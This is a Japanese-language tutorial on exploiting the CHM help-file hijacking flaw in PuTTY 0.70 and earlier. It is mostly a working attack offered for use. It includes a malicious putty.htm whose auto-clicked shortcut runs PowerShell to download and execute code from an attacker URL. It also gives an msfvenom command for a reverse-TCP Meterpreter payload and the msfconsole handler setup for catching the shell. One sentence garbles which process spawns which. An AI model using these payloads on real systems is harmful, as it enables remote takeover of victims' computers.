
CHM ハイジャッキングによる悪意のあるコード実行の可能性
バージョン 0.70 以前では、Windows 版 PuTTY GUI ツールのいずれかでオンラインヘルプを起動すると、そのツールは自身の実行ファイルと同じディレクトリを探してヘルプファイルを特定していました。
もし、無関係なコードがファイルを落とし込めるディレクトリ(例えば、ブラウザーの既定のダウンロードディレクトリから直接実行する場合など)から PuTTY を実行していたとすると、誰かが putty.chm というファイルをそのディレクトリに置くよう仕向けた場合(例えば、その名前のダウンロードリンクをクリックさせた場合)、PuTTY はそれを本物のヘルプファイルだと信じて htmlhelp.exe に渡してしまいます。
これは脆弱性です。HTML ヘルプファイル (.chm) は、Windows ショートカットである HTML 要素と、それをクリックする JavaScript を埋め込むことで、任意のコードを実行できるためです。
詳細: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM は、Compiled HTML ファイル形式の拡張子で、最も一般的には Microsoft の HTML ベースのヘルププログラムで使用されます。多くの圧縮された HTML ドキュメントと、それらがリンクする画像や JavaScript を含めることができます。CHM の機能には、目次、インデックス、全文検索があります。
過去には、脅威アクターが CHM ファイルを使用してバックドアファイルを展開していました。これは標的型攻撃で一般的に使用されます。
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
CHM ファイルを作成するには HTML Help Workshop ツールキットが必要です。インストール後、HTML Help Workshop ツールを起動します。
File > New > Project をクリックし、以下の手順に従います:
HTML Help プロジェクトの作成
[New Project] 画面で [Next] > [Browse] をクリック
プロジェクトファイルの名前と、作成先の場所を指定します。
ファイル名: に「putty」と入力し、「Open」をクリックします。
HTML Help プロジェクトの指定
HTML ファイル (.htm) を選択します。
.htm ファイルが保存されている場所を指定します。
[Add..] ボタンをクリックし、悪意のあるファイル(putty.htm など)を保存するために作成済みのディレクトリを選択します。
HTM ファイルの選択
ウィザードが新しい HTML Help プロジェクトを作成します。ここで変更を加える必要があります。
ツール上で、作成された htm をダブルクリックして編集し、以下のコードを挿入して基本的なヘルプファイルを作成します:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
悪意のあるファイルの作成
Windows 用の単純な TCP Meterpreter ペイロードを作成するにはどうすればよいですか?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
ヘルプボタンをダブルクリックすると、CHM バイナリファイルのインタープリタである malware.exe の子プロセスとして putty.exe が起動します。(悪意のある putty.chm と putty.exe ファイルは同じディレクトリに置く必要があります)
マルウェアを起動
meterpreter シェルを取得するにはどうすればよいですか?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
リソース: